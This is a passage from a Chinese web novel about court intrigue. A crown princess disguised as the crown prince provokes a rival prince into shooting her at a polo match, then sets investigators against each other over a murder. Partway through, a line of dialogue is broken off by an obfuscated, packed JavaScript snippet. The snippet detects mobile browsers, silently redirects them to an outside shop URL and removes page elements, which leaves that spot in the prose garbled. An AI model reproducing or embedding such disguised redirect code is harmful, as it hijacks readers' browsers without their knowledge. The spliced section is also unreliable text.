裴承的马有样学样撞过来,李相筠心头一跳,闪开的同时,还抽了空用腿恶狠狠踹了下他的马屁股。 “谁是女娇娥!” 马嘶鸣了声,扭头朝着她喷着粗气。 还敢甩脸? 李相筠故意提起:“裴少保什么时候和齐郡王世子搭上了,案子不查,也不怕到时候交不了差?”别以为她对他们背地里联络的事情一无所知。 裴承四两拨三斤,有十分正当的理由:“这不查到关侍郎头上,想过来套个近乎。” 关侍郎? 李相筠微眯了眼,后仰下腰,用马球杖架开左边的攻击,顺便狠狠抽了那人一棍子,让对方嚎叫不已。 这会球滚到了两人马蹄之前,李相筠伸出马球杆,趁着拨球的劲,又去击裴承的马腿。 “裴少保套近乎的法子是与之为敌,还真是让人新鲜!” 裴承抵住他的攻势: “臣与殿下也是不打不相识,要不,怎么成了一个屋檐下的关系?” 还不是你在圣人面前告的状? 李相筠想到这个就来气。 “原来裴少保喜欢被打。”李相筠故意曲解他的话,乌骓马又紧贴上去,把裴承的马逼到外侧边。 左边就是场地的边沿,竖了一溜挡马桩,这是为了防止发疯了的马冲到上面的看台,伤及看客。 “臣可不喜欢受伤。”近距离之下,裴承能看清楚李相筠左边脸颊上的血口子,形如弯月,尾端就险险勾在她眼下,色泽艳丽如胭脂。 他不由回想起那一幕画面,陆展看他的眼神,他对陆展的那一锤手,总有些道不明的情绪涌上他的心头。 他不由道:“臣没有贴心肝的人帮着上药。” 李相筠奇怪地瞟了他一眼,敏锐察觉他语气的异样,“你在阴阳怪气什么?” 裴承眸光一滞还未回答,又有几匹马同时挤过来,马球仗在乌骓马蹄下,李相筠驱马纵跃过障碍,右侧的马靠过来,她也没有留情,直接挥出球杖袭击马的脸部。 眼睛对任何生物而言都是最薄弱的地方,马匹受惊,偏头躲闪,正好撞到了后一匹马。 齐郡王世子大骂了一声,险险躲过。 “围他!围他!” 下半场的场面更乱了。 只见太子的乌骓马一会在包围圈里,一会又冲出包围,满场绕着圈跑。 小小的彩毬在哪里,几乎让人找不到。 李相筠再次弯腰避开夹着呼啸风声的球杖从后脑勺挥过。 锋利的马球杖不像是为击球用的,倒像是专门给她准备的,一有机会就往她身上招呼。 不多会,李相筠的手臂和小腿也有了深浅不一的擦伤。 乌骓马满身是汗,越跑越焦躁,它被几匹马围追堵截,但是马球场又只有这么大的地,它撒不开蹄子甩开它们。 李相筠也很烦躁,因为她挨不上裴承的马,这边的缠斗让她不能分神。 另一边裴承渐渐掌握了控球的法子,当的声,球远远击进了门,红队得分。 “第一次玩?不能吧!裴少保真是天赋异禀!”夸赞声远远传来。 李相筠咬了咬后牙槽,把球杆挥得更用力。 李柏寒的马刚好经过,被只顾躲闪的郎君大力撞开,他因为看台上的人分神,不小心就从马鞍上倒了下去,马匹还在往前跑,他人却因为脚勾在马镫上被倒挂,后背挨地,被疾速拖行。 这个场面让女眷们都白了脸。 要知道摔马还不是最严重的事,因为常玩的人都知道做好保护姿势可以减免损伤,但被马拖行那是十有九成要重伤。 李相筠见之,腿夹紧乌骓马,如箭簇射.出追了上去。 地上已经出现了一道血痕,李柏寒咬牙往前躬身,想去解脚上的束缚,但那不知道是什么系法,他竟然解不开。 “射马!快射马,救世子!”齐郡王世子在喊,几名武侯慌慌张张带了弩箭过来,但是李柏寒的马发狂乱跑,加上旁边太子、其他郎君遮挡,让人无法瞄准,齐郡王世子一把抢过弩箭。 李相筠见状冲他喊:“李世勋你省省吧,就你那稀烂的准头,别把李柏寒射死了,他今日要死这里了,你阿耶非抽死你不可!” 齐郡王世子脸皮一阵红一阵白,转头把弩箭对准李相筠,怒吼了声:“你闭嘴!” “还敢射孤,胆子肥了!”李相筠已经从他们面前绕过去了,“有本事你就射,别像个阴沟里的老鼠只敢在背后乱咬。” 齐郡王世子气得手抖。 旁边的人都在劝他,“还是救世子要紧,世子真的撑不住了……” “借用一下。”李相筠弯腰拔起旁边的旗子,往看台的石座上一敲,圆形的黑曜石碎开,变成不规则的形状,她追上李柏寒的马。 裴承已经远远勒住马,小白兽站在他的肩头张望。 只见陆展几人用马尽力堵住李伯寒的疯马,让它缓下速度,等太子追上半个马身时,他在马鞍上站起来,用旗杆充当矛头从上自下,贯穿疯马的脖颈。 疯马长长痛嘶了声,终轰然倒下。 看台上女郎们齐声欢呼,李相筠坐在马背上迎着那些贵女热情洋溢的注目,挥了挥手。 狂且恃贵又那么耀眼夺目。 李相筠故意绕到看台下,香囊帕子果子纷纷落下,她也没有理会,只昂首跟某个女郎说起了话,也不知道说了什么,逗得那女郎格格直笑,捂着嘴都能看见她脸上灿烈的笑意。 “那女郎是谁?”裴承问旁边人。 “太子太过分了,那是齐郡王世子的未婚妻,两家都说好了,马上就要过纳彩了……” 裴承回首去看齐郡王世子。 李世勋手里的弩箭还没放下,赤红双目,咬牙切齿看着那边说笑的男女。他旁边一个眼熟的小个子嘴唇煽动,不停地在说什么,齐郡王世子的脸色越来越沉,那双眼睛愤怒地要喷火。 李相筠总算说够了,又控着缰绳往场中央去,那边医士、侍从还在为李柏寒紧急处理出血的问题。 咻—— 破空的声音虽在嘈杂声并不明显,但是对于听觉超绝的人而言,那就是危险的信号。 裴承的目光瞬间移了过去,抓住半空中短箭,随后是那边抬起脸的太子。 下一刻血溅在半空,短箭钉入太子的左肩,他的身体被惯性猛推,险些马背上仰面摔下去。 现场惊叫声一片。 裴承的手倏然握紧缰绳。 他为何不躲? 他明明看见了,明明有时间也有余地,即便在剧烈跑动的马匹上他都能准确避开四周袭击,没道理在静止的马背上被眼前的箭射中。 这时候,裴承又抿住了唇。 因为他看见太子手捂住肩头,痛到苍白的唇角居然一勾,露出了个傲而张狂的笑,随后他口齿清晰命道:“执金卫听令,齐郡王世子袭击储君,即刻拿下。” 裴承盯着他肩头迅速晕开的鲜红血迹,心口又是一阵空洞的闷。 他真是个疯子。 27.加劲 齐郡王世子愣住。 射中目标那短暂的痛快,很快就变成无尽的恐惧。 刚刚还围在身边的狐朋狗友更是一窝蜂地散开,谁也不敢再挨着他。 孤助无援的李世勋“哐当”一下把弩扔开,颤抖着声音,颠三倒四地道:“不、不是我,我不是有意的……” 执金卫一言不发,扶刀迅速围上。 这是众目睽睽之下人赃俱获,就连齐郡王府的侍卫也不敢相拦,只能看着自家世子像条死狗一样被执金卫拖走。 一场马球赛在混乱之中结束。 金宝在人群里嚷着蓝队胜,但周遭的人无暇关注球赛的胜负。 站在远处的裴承道:“刚刚在齐郡王世子身边的那名郎君,找出来,我有话要问。” 飞雨抱拳下去。 离马球场最近,也是最合适的地方是静安公主府,除太子之外,李柏寒也被抬到这处理身上的伤。 静安公主是李相筠的姑姑,和圣人是一母同胞的姐弟,但姐弟两感情不是很好,自圣人登基以来,已经深入简出二十余年,常年在公主府里修行避世,宫宴庆典一概不出席。 所以府里这么热闹还是这么多年来头一回。 驸马负责出面,将伤员安置在府上合适的院子里,又分拨府上的人手去帮忙照料。 裴承晚了一步才到。 公主府管事带着人在太子暂留的屋子门外,担忧道:“确定不用医士先为太子殿下治疗吗?这医士还是圣人赐的,绝对可靠。” 邓谦不为所动,按着刀道:“太子殿下不喜生人靠近,把东西放外间,人不可以随意张望,若有其他事,殿下自会吩咐。” 言外之意是,不该你操心的别操心。 管事领悟了,是人都会有自己的癖好,更何况是堂堂太子,太子吩咐,那照办就是。 比起太子不配合治疗死掉,好像还是眼前这个动不动就拔刀的执金卫统领更可怕。 管事缩起脖子,带奴婢们端上水和简单处理伤口的必需品放在外间,不敢逗留,马上就退出来。 陆展也想进去,不过邓谦还是那一套说辞,太子不许。 “受那么重的箭伤,你就让殿下自己在里面处理?” “殿下要人进去伺候时会吩咐,臣只奉命行事。” “邓统领,你也跟了太子三年,就这么铁石心肠?”陆展握紧药瓶,手上还有没有洗掉的血,那是刚刚扶太子时沾到的。 “侍奉太子只需听命行事,不需要感情用事,中郎将也该回去当差了。” 这句“不需要感情用事”让陆展安静下来。 他离开大理寺,在皇后安排进入北衙禁军,太子虽然表面没说什么,还待他如往常,但是陆展知道,他们逐渐生分了。 倘若日后他真的认回鲁郡王一脉,与太子有了血缘上的关系之后,他们更不可能像从前那样亲近。 门内有动静,太子一定能听到外面他的声音,可是没有出声传他进去。 这就是无言的拒绝。 陆展松了松手指,声音低落:“我替殿下去看看赵郡王世子,晚些再过来。” 裴承等人走后才走出来,倒不是有意要看热闹,只是不想跟着一起被拒绝。 “我有事要与殿下禀告。” 这次,邓谦没有立刻送客。 因为太子交代过晚些时裴承来,他要见。 但裴承来的太快,邓谦不确定现在是不是个好时候。 屋里头没有传出动静,也不知道太子是听见了默许,还是没有听见。 “要进去请示太子吗?”裴承又问。 邓谦让开位置,“请裴少保自己问。” 若是太子不想这个时候看见他,肯定会马上轰出来。 裴承将飞星飞雨留在外头,自己独自进门去,刚润了油的门轴悄不声息转开。 外间桌上的水盆里浸了血,已经染得半红,各种药瓶东倒西歪在托盘里,绷带扯开了,一部分团在里面,一部分垂在桌沿。 绕过立地屏风,他继续往里面走,也不是特意藏着声,而是地上铺有织绒毯子,把脚步声纳进去。 内间是一个寝卧,清一色的红木家具润着木泽,博古架上摆满各色古玩,造型别致的盆栽放在靠墙的半月桌上。 床上被褥枕头整整齐齐,没有人,转过头,裴承才看见挂画的墙壁前,坐于美人榻上背对着他的太子。 太子的外衣褪到了肩下,露出里面一件凹口无领的银白色贴身底衣,衣上有密集的银线流动着微光。 虽没有见过,但是裴承还是意识到那是怀贤太子曾说过请人重金研制出来的贴身软甲,可以抵御一定程度的外伤。 “殿下?” 太子没有回头,只是稍侧了下脸,闷声道:“谁准你进来。” 裴承停在几步外,“邓统领。” 李相筠还以为背后的人是邓谦,要不然暗卫怎么会一点示警都没有,不曾想来人会是裴承。 她呼吸一滞,冷声命令:“出去等。” 裴承没挪步,而是看着太子手边放的东西,“需要臣帮忙吗?” “不用你帮忙。”李相筠拒绝,同时加快手里的动作。 若是陆展的话,一定会上前来,裴承她倒不担心,因为这人本就没有多关心她死活,说帮忙的话也不过是客套一句,岂能当真。 可他当真发现了自己身份吗? 若是发现了,眼下不是抓她现行的好机会? 李相筠面上露出疑色。 但裴承在后面只能看见太子被汗湿的发丝黏在冷白色的后颈、肩头,以及掩在凌乱的发丝下有三四个明显且新旧不一的伤痕。 新伤,最多不会超过三年。 旧伤,可能有六七年。 “你在盯着看什么?” 太子的气息不稳,声音还难得有些虚弱,没有往常那样气势十足。 箭伤让她没有办法很好集中注意力,这才没有及时发现他的靠近。 裴承本来想说齐郡王世子的事,但话到嘴边却成了,“殿下身上怎么这么多伤?” 李相筠闻言微侧过头。 裴承看不清他脸上的神情,只能见到他低覆的睫翼以及鼻尖上密集的汗珠。 “多?裴少保居然会说出这样的话,不会显得少见多怪吗?”李相筠嗤笑。 他们西南裴家是什么人间仙境,太平地界吗? 裴承并不介意太子的尖刻,依然语气温和:“即便是郎君,也不至于这么不顾惜身体,殿下从前都没有好好上药吗?” 即便是郎君? 李相筠手中动作一停。 裴承还没发现她的女儿身? 或者就像是陆巧燕一样,明明知道,却藏着不说,是为了将来更大的益处,或是有别的目的。 “裴少保这么关心,是想伺候孤上药了?”李相筠刻意加重“伺候”两字。 折辱的意味让裴承挑了下眉,道:“臣不是陆昭云。” 不是太子的掌中物,更不会是太子裤下臣。 太子轻“呵”了声。 裴承依言没有上前,只用目光在太子后背新旧伤痕上徘徊。 那日在满是热雾的温泉池里,他只看见太子冷白的皮肤和薄瘦的肩膀,没有看清他身上有这么多新旧的伤。 有箭伤也有刀伤,靠近他后颈窝的地方还有——齿痕? 像月光照在雪地凹处投下的淡影,他的心口蓦地一跳。 一缕游丝般微弱的念头在脑海一闪而过,快到他没能抓住,就失去它的踪迹。 即便知道背后还杵着个没眼力的人,可李相筠身上的伤等不了。 她咬住一团纱布,随后就拿起手边烧好的刀。 很快后背上的汗变得密集,随着肩膀颤抖,一颗颗滚落,就好像不堪重负的花瓣抖落了露珠,凌乱而破碎,也美得惊人。 那薄肌下的肩胛骨就像是刚从虫茧里准备重生的蝶翼,颤动着、挣扎着。 突然叮得声,一枚金属物被扔了出来,撞到桌腿又被弹开,滑停在裴承的脚前。 箭头上的血艳得触目惊心。 李相筠拿起药瓶往破开的创口上撒药止血,药粉接触伤处,她的呼吸声又急又重,即便口中塞满纱布,也难免溢了出来一两声痛苦的闷哼。 这声音太折磨人,裴承躲不掉。 他敏.感的听觉、嗅觉都让他沉在这泥潭里,拔.不出身来。 他只能勉强把目光从太子的身上挪开。 可一闭上眼,浮起的画面全是梦中温泉池里的那一幕幕。 画面与声音的重叠,那份异样的感觉变得格外真实。 好像让太子溢出这种声音的人是他自己。 裴承又猛地张开眼,发现太子已经转过了身,正看着他,苍白的脸上一双眼睛乌黑深沉。 “裴少保,找孤?” 裴承定定看太子一眼,才回过神。 他掏出块帕子,俯身捡起地上带血的箭簇,放在眼前打量,“殿下用自己的身体冒险,只为了把齐郡王、赵郡王拉下水,明知不可为而为之,殿下这是在赌。” 若没有这件贴身软甲,亦或者齐郡王世子的准头更好,不是冲着他的躯干而是脑袋眼睛等毫无防御的位置,他现在的伤口会更深,伤势会更重,恐怕还会危及性命。 “明知不可为而为之,不是问可不可以,而是问应不应该。”李相筠走上前,从他手里拿走箭簇,放在旁边的桌子上,脚步虚浮地走到外间,把沾满血的手浸入盆中,慢条斯理地洗掉上面的血。 “若这件事应该这样做,孤为何不能?” “比起权势,手足亲情对殿下而言无关紧要。”裴承站在他的身边。 “他们没有把孤当兄弟,孤也不会手下留情,这是天经地义的道理。” 李相筠又把湿漉漉的手搭上裴承的小臂上,似是站不稳寻个扶手,但又好像是故意在靠近他,“裴少保,你背地里小动作不少,别把孤当个傻子。” “聪明人不会让自己成为靶子,四面受敌是殿下自找的。”裴承托着他的重量,感觉那潮气一层层递下来,已经弄湿了他的皮肤,渗入他热烫的血肉当中。 李相筠把手在裴承袖子上擦了擦,直到表面勉强干后,才往旁边的椅子蹒跚而去,“若没有靶子,孤怎么知道箭是从哪里飞过来的?” 他坐下,靠着椅背,眼角还泛着血潮与水光,目光却重新敏锐,好像一丝一毫的线索都逃不过他的眼睛。 “若非如此,孤又怎么知道裴少保究竟是一心一意还是三心二意?” “己所不欲勿施于人,想要个真心实意的人,那就应该由人推己,殿下做这件事的时候也没有同臣商量,殿下削的不仅是宗亲,也是世家权贵。”裴承找了个对面的椅子坐下,看着小臂上太子擦出来的湿痕,“伤的是君臣之心。” 李相筠歪了歪脑袋,“伤心,也不见裴少保哭一个。” “殿下想要看臣哭,那还得加把劲,这点程度,臣可哭不出来。”裴承看向他,意有所指。 李相筠转瞬就警惕起来,“你做了什么?” “殿下想用齐郡王世子威胁宗亲,倘若齐郡王知道这一切不过是殿下的苦肉计,那还能行得通吗?” 李相筠又放松了身体,就像收起利爪而温顺的猫,又懒又坏地瞥来一眼,“光说无凭,孤的伤可是实打实的。” 裴承的目光在他沾满血的衣襟上停留片刻,说道:“跟在齐郡王世子身边的那个程五郎,殿下还记得吧?” 李相筠眼睛轻轻眨了下。 虽然他提起程五郎,但也不代表什么,因为程五郎根本不敢往外透露半分,这件事揭露于李相筠而言或会损失点利益,但是对程五郎,他有太多把柄拿捏在李相筠手里,叫他什么时候死只是张张嘴的功夫,他不敢随便说话。 除非裴承有更厉害的法子,撬开他的嘴。 “裴少保的提醒,孤收到了。”李相筠将手指交握在身前,气定神闲:“但孤也要提醒裴少保一句,你想当个聪明人,何不再装得笨一点?” / 陆展回来时,李相筠已经在喝药。 她在腿上盖着块毛绒毯子,窝在铺满软枕的圈手椅里,整个人都懒洋洋的,除了脸色还有些苍白之外,没有什么异样。 “殿下伤势如何,可让太医瞧过?” 李相筠不答反问:“李柏寒那边怎么样了?” “李世子断了两根肋骨,后背伤势严重,医士给他上过药,现在人还在发热中。”陆展一五一十回答。 “他的马查过了?马镫又是怎么回事?” 陆展一一解释道:“他的马剖开喉管、胃囊没有查到毒物,躯体四肢上也没有外伤,马镫……马镫的系法与世子往常的不同,听说是之前关侍郎经过时帮世子重新系过。” “关侍郎?”李相筠继续问:“可有问过他?” “问过,关侍郎也十分惊讶,他说自己临时经过才好心帮世子系的,没想过会发生这样的事。”陆展一顿,又说:“马场上混乱,还不清楚李世子是怎样落马的,若是有人真心要害世子,不该在这么多人的场合,如何才能做到万无一失不被人看见?” 李相筠启唇:“也有可能……” “什么可能?” 李相筠不说了,“等李柏寒醒了再问问他。” 陆展道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958606|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就不是我的事了,该裴少保操心。” / 太子受伤的事没过半天就传遍长安。 齐郡王彻底慌了神,连忙带上人到公主府给太子赔罪,那张老脸鼻涕眼泪,惨不忍睹。 太子以伤重拒绝探视,也没有让齐郡王能开口带走世子。 执金卫从东宫布到公主府,一样围成铁桶。 没有太子的准许,外面的人进不来,里面的人也出不去。 宫里圣人还在闭关,谁也不敢去打扰,齐郡王只好去求皇后娘娘。 皇后娘娘也为难,这事大家有目共睹,谁都说是齐郡王世子先失心疯,欲射杀太子。 即便圣人在此,也免不了要发怒。 圣人虽不喜欢这个太子,但是太子毕竟是储君,也不能让人光天化日之下随意射杀,这成何体统? 齐郡王求助无门,人都憔悴了。 一连三日吃不好睡不好,还时不时要被郡王妃哭嚎的嗓音穿破耳膜。 他难道不想救自己的儿吗? 想啊!可是太子那是什么意思,人关着是不放,赔罪道歉是不听。 “定是你们父子俩舍不得那点封赏,太子要钱,你们给就是了,钱难道还有勋儿命重要?” “少来瞎说,你懂什么,只要我们让了这一步,往后大黎哪还有我们的容身之地!” “你不管?要是太子气不过非要勋儿抵命,我、我就吊死在这里!日夜看着你这个薄情无义郎守着那堆死带不走的破铜烂铁怎么快活度日!” 齐郡王撑着额头,痛苦道:“你让我想想,让我想想。” 谁知,齐郡王这边还在苦苦煎熬着,那边赵郡王府率先软了膝盖,向太子让步。 “就因为程五郎死了?”飞星满头雾水,他看向飞雨,忍不住问:“程五郎死和赵郡王府有什么关系?” 飞雨一直暗中调查,最清楚始末:“程五郎陪着齐郡王世子被关在枫园,但是去偷看赵郡王世子的时候撞上了关娘子。” “关娘子?”飞星吃惊,“怎么又和关娘子有关系?” “关娘子是去看望赵郡王世子的,因为外面在说赵郡王世子摔马是因为关侍郎的原因,作为妹妹担心兄长也是正常。” 飞星还是迷糊:“那和程五郎有什么关系?” “关娘子早些年被程五郎等一些纨绔设计掉水,又被程五郎所救,两人有肌肤之亲,因这一层关系,程五郎对关娘子说话便有几分不客气,李世子和关娘子都很不高兴。” 裴承右手握着左腕,手指在那根缠带上摩挲,“是太子派人杀了程五郎。” 飞雨补充道:“但赵郡王世子以为是关娘子或者关侍郎杀的,关娘子又以为是另两个杀的,抢着认罪,太子倒是撇了个干净。” “是因为三日前我们找过程五郎?”飞星这会好像懂了但又不是很懂,一句接着一句问道: “因为担心程五郎泄密就直接把他干掉?他不是太子的人吗?再说了太子也不知道我们家主有办法能够撬开最紧的嘴吧?” “虽然程五郎是太子的人,但是太子毫不留情面。”飞雨看向裴承,“他根本不分敌友。” “太可怕了。” 飞星抱着双臂,半晌又愣愣讲了个大实话:“不过,太子要不是个疯子,也不可能敢和我们家主合作啊。” “还真是与虎谋皮。”裴承不紧不慢地摸过手腕上的缠带,唇边却是一笑,“不过,不入虎穴焉得虎子,危险越大,奖励越多。” / 赵郡王府一让步,其他观望的郡王也动摇了,别说齐郡王还有个儿子在太子手上攥着,也没能撑过两天。 圣人就要出关的前一日,齐郡王先写了一封罪己书递上去,太子很大度地表示自己的伤无关紧要,齐郡王世子是救赵郡王世子心切,眼力不佳,误伤了他。 然御史们也没有放过这次机会,把他们这些纨绔子玩武斗马球的劣习又狠狠痛斥一番。 再请太子以身作则,肃清不良风气。 国子监一部分学子也趁乱发话,要太子反躬自省,修身慎行。 这些太子自是一概不管的。 但是高勇就惨了,被一脚踢到太子身边随身督察,又成了太子的眼中钉。 成日就是说“殿下你要是非这样,臣这里可不好记啊……”“臣是绝不会篡改所记内容的,殿、殿下就死了这条心吧!” “行,不能看,胡乱记是吧?”李相筠用勺子敲了敲铁盘,“都去咬他!” 一声令下,本来还在啃草的大鹅们纷纷抬起脑袋,十几只眼睛牢牢锁定目标。 “不是……”高勇后退了一步。 大鹅们雄赳赳气昂昂地迈起八字步,昂首阔胸地扑腾大翅膀飞奔而来。 冲啊。 “救!”高勇攥紧本子和笔,跑得面无人色,迎面撞见一个人,不管三七二十一,把人揪住往后面一推。 飞星顿时哇哇大叫:“不要咬我啊啊啊啊!” 两人一前一后把腿抡得飞快,一会就跑没影了。 李相筠兀自托腮笑了半天,最后靠在躺椅上,手背盖着眼睛上。 秋日暖阳,是个偷懒的好时节。 李相筠闭目养神,旁边簌簌轻响,然后一个湿润的软东西拱了拱她的手。 李相筠受惊,猛的坐起。 右手边是裴承的那只小白兽,正无辜地支着脑袋,冲她吱吱叫。 她不由皱眉,“你怎么在这?” 小东西又吱吱叫两声,在背后的布兜里掏啊掏,掏出一张纸条,举起来给她看。 上面是裴承的字迹——臣有事奏。 李相筠无语地把目光投向园子口方向。 因为养伤的缘故,也因为程五郎的事情,李相筠让邓谦务必好好拦住裴承。 飞星飞雨翻墙过来她管不了,不过她也不理会就是,但是……这小东西可怜巴巴地举着纸条瞅着自己。 李相筠恶狠狠咬住后牙槽。 裴承真不是个好东西。 思勤园门口,飞雨站在裴承身后,还时不时望去飞星被鹅追跑的方向。 这次太子没有传话,邓谦铁面无私地横刀挡在他们前面。 不多会,视线里出现了一道小小的身影,吭哧吭哧地往前爬。 是裴承的那只小伶鼬。 几人的眼睛都注视着它,它既委屈又心急,一点点扒拉着爪子,快速靠近主人,它的身后还磕磕碰碰拖着——一枚蛋? 准确来说,是一枚几乎和它差不多重的鹅蛋。 “蛋是礼物?”飞雨有些拿不准太子的意思。 邓谦直起身,平静说道:“这是太子叫你们滚蛋。” 28.翻脸 转眼到了立冬,天气变得凉爽。 李相筠的伤在肩膀,丝毫不影响她动脚,照常外出。 李柏寒伤势严重,还下不了床,躺在赵郡王府浑浑噩噩,听闻因为高烧反复不退,太医署里的太医都得全天候盯着,生怕一个不小心人就给烧没了。 关娘子也被请到了府上,希望她能够陪李柏寒说说话。 李相筠来探望李柏寒是其次,主要是找机会和关娘子谈话,上次马球赛之后,关娘子也跟着病了一场。 这件事李相筠也有点责任,故而没敢上门叨扰,等她病好能外出,才寻着机会来。 医士在为李柏寒换药,他们就坐在外间烤火说话,灵宛郡主有事起身离开,李相筠抓住两人独处的良机开口: “关侍郎这些时候挺忙?” “是。”关娘子坐在火盆旁,伸着两只手烘烤着,“宫中药材需求越来越大,兄长正为之烦心。” 圣火教负责给皇帝炼丹,对药材的消耗巨大,这也是朝廷上下都心知肚明的事情。 李相筠剥开橘衣,取出橘瓣塞进嘴里,甜滋滋的味道驱散了口腔里的苦味。 “关娘子还记得之前孤与裴少保到府上说的那个符号吗?” 关娘子望着他,“殿下是指?” 李相筠用手上的橘子汁在旁边的小茶几上画出了个勾股形里面套着一个圈,“这个。” 关娘子认真一瞧,眼底浮出疑惑,“……先前裴少保也来问过妾还记不记得这个东西,但妾确实是毫无印象。” “毫无印象?”李相筠不由一怔。 关娘子点点头,“包括殿下说和裴少保一起到府上来的事情,妾也不记得了。” 李相筠没有想到会是这样的发展。 先前关娘子的种种反应分明是知道些什么,谁曾想,就在她知道线索后她却在短短时间里忘了个干净。 “殿下问的这个东西很要紧吗?”关娘子面露忧虑,攥着手连声道:“是不是妾误了事?” 李相筠顾不上安抚她,紧接着问:“先前孤又找过你一回,那时关侍郎说你需要静养不便见客,这事你还有印象吗?” 关娘子还是摇头,“前一段时间的好些事情都不记得了。” “那马球赛的时候你的身体已经康复了,关侍郎也允许你出门了?” 关娘子道:“那时候已经好了,还是郡主约我去看马球赛的,兄长也说天气好可以出去走走。” 正说到郡主,李竹芸刚好回来,解开氅衣,朝两人露出个抱歉的笑容,“忘了母亲的药膳还在炖着,刚叫人送了去。” “这点小事要郡主亲自操劳?”李相筠不好再问关娘子这件事,自然而然把话题转开。 现在的赵郡王夫人是赵郡王的续弦,李竹芸与李柏寒的生母早已不在。 “侍奉母亲是本分,没有什么。”李竹芸笑了笑,“我从前在道观里也需要端茶奉水给师父们。” “郡主的医术也是道观里的师父教的吗?” 李竹芸轻声回:“是啊。” 李相筠没等李柏寒换完药就离开了,想到裴承既然来过问关娘子,想必也是知道了那符号的事,便要马车驶去皇城。 她要去大理寺一趟。 不想先见到的不是裴承,反而是由飞雨送出来的关侍郎。 隔着中庭的回廊,他们在对面,关侍郎穿着绯红的品服,脚步不疾不徐。 “关侍郎来大理寺做什么?” 大理寺吏也不是很清楚,便说:“应该是和薛县令一案有关系吧。” “薛县令?那位女扮男装的县令吗?”李相筠脚步一顿,想起西风园那出戏。 “原来殿下也有所耳闻啊!”大理寺吏察觉太子对此感兴趣,连忙道:“那可真是一件荒唐事,一个女子居然穿上了官服当起官来,这不是牝鸡司晨吗?” 李相筠淡淡提醒他:“我朝女官数量也不少。” “六局二十四司和其他地方又不一样,那是专门为女官所设的。”大理寺吏还是摇了摇头,义愤填膺道:“而且她不但占了兄长的位置,最后还杀兄,实在是太恶毒了,天理难容啊!” 李相筠没搭话,抬脚往里面走。 两名狱卒一左一右陪着名女犯从衙堂大门走出,李相筠的目光落在中间那名女郎身上。 她应该有二十来岁,蜜色肌肤,浓眉长眼,脸上干净不染灰尘,头发也梳得齐整,囚服脚镣在她身上也没有显得太过狼狈。 “那位就是薛县令。”大理寺吏忙不迭指责道:“她到现在都还不认杀兄的罪呢!” 薛娘子也看见了李相筠一行人,眼睛里既没有祈求也没有难堪,只平静地打量一二就收了回去。 李相筠问:“她即便真的杀了兄长,这案子和关侍郎有关系?” “那倒是没有关联,只是薛县令手下一众药农将往年收好的药材不知道藏去哪里,那些人说是地方只有薛县令才找得到,关侍郎或许是为了药材来和裴少保协商的。” 李相筠一颔首,抬脚往大理寺衙堂去。 早有人通知了裴承太子到达,不过李相筠进去的时候,裴承脸都没有抬,还在翻看手里的卷宗。 飞星对她露了个笑脸,退了出去。 李相筠扫了眼裴承堆满卷宗的桌案,那只小伶鼬正坐在旁边的干果盆里抱着粒扁桃在啃,两只耳朵一颤一颤的,忙得很。 李相筠把一只手撑在桌上,开门见山道:“你之前找过关娘子?” 裴承抬了下眼,又垂了回去,手指夹着一页纸翻过,“殿下有什么事?” “孤就问你,那案子是不是和赤乌流匪有关系?” 裴承终于抬起头,和正俯视下来的李相筠对上视线。 “这案子不管和赤乌流匪有没有关系,那也和殿下没有关系,按律,臣无需向殿下禀告案件的进程。” 李相筠确实没有权利过问,但是她也没有想到裴承翻脸不认人。 “关娘子明明知道赤乌流匪的事情,可她却这么巧就失忆了,该不会是裴少保又做了什么事吧?” “殿下觉得,臣能够让人失忆?” “说不准。” “如果臣真有那个能耐,那应该会先让殿下忘记这件事。” 李相筠不禁呆了一下,说到忘记,她自己不也曾经忘记过一段时间吗? 难道会和中天星草毒有关系? 她在关府看过关娘子手上的星状红斑很有可能并不是看错。 正在左想右想,李相筠忽然鼻子一痒,捂着打了个喷嚏。 裴承这才问:“很冷?” 李相筠从外面进来连大氅都没有解开,毛领子围着到他下巴处,只留出一张苍白病弱的脸。 “你这里连个火盆都没有,冻成冰窟了。”李相筠按了按鼻子,把大氅又拉紧了一分,言归正传,“如果关娘子失忆和你没有关系,那会是谁?” “殿下伤还没养好,就不要想东想西。”裴承把小飞拎了起来,抢了它手里的偏桃丢回盘子里,“臣让飞星送殿下回去。” 李相筠没等他出声叫人,“有没有可能是天星草?” 裴承顿了下,“天星草?” “你知道天星草?”李相筠直起身,拢好大氅,这句话并不是反问而是肯定,从裴承的神色里她确定了他知情。 “那好,你告诉孤其他事,孤就把天星草的事情告诉你。” “天星草已经被禁九年了,和这案子能有什么关联?”裴承也不好打发,“殿下知道的远没有臣知道的多,臣太吃亏了。” 他这样说,李相筠更不会放弃,“裴少保能屈能伸,吃点亏也算不了什么。” “比起吃亏,还是殿下赏的滚蛋更合胃口。” 那都是多久的事情了,若不是裴承提起来她险些都要忘了。 李相筠皱了下眉,“孤在养伤不想见人,裴少保还生气了?” “殿下是为养伤,还是为避开臣的询问,心知肚明。” 说到这里,李相筠彻底明白了,裴承今日处处不配合,为的还是因为之前程五郎的事。 “那件事已经结束了。” 齐郡王、赵郡王让步了,户部也有钱周转了,金宝也拿到之前丢掉的合作,皆大欢喜。 好像,只有裴承不太欢喜。 李相筠歪头看他,目光里尽是观察。 裴承也不是那么容易知难而退,“殿下最好别留下什么线索,被臣抓到。” 李相筠弯下腰,又把脸压低了分,嘴角噙着狡黠的笑,反问:“被你抓到,又如何?” 那副无法无天的样子,像是拿定裴承对她做不了什么。 程五郎嘛,无足轻重的小人而已,他做过的事让他死一万遍也不足惜,只要她随便抖搂一二出来,百姓都会为之拍手称快。 所以,裴承抓到是她做的又如何? 她大可说是为民除害。 裴承在李相筠的阴影里,抬眸看着他唇边恶劣的笑,突然很想伸手狠狠地抹去。 他怎么会生出想要碰太子唇的冲动? 裴承眉间一跳,把身子往后靠在椅背上,离那张脸远远的。 “到时候殿下就知道了。” 他忽然沉眸凝色,看起危险至极,李相筠心尖猛颤。 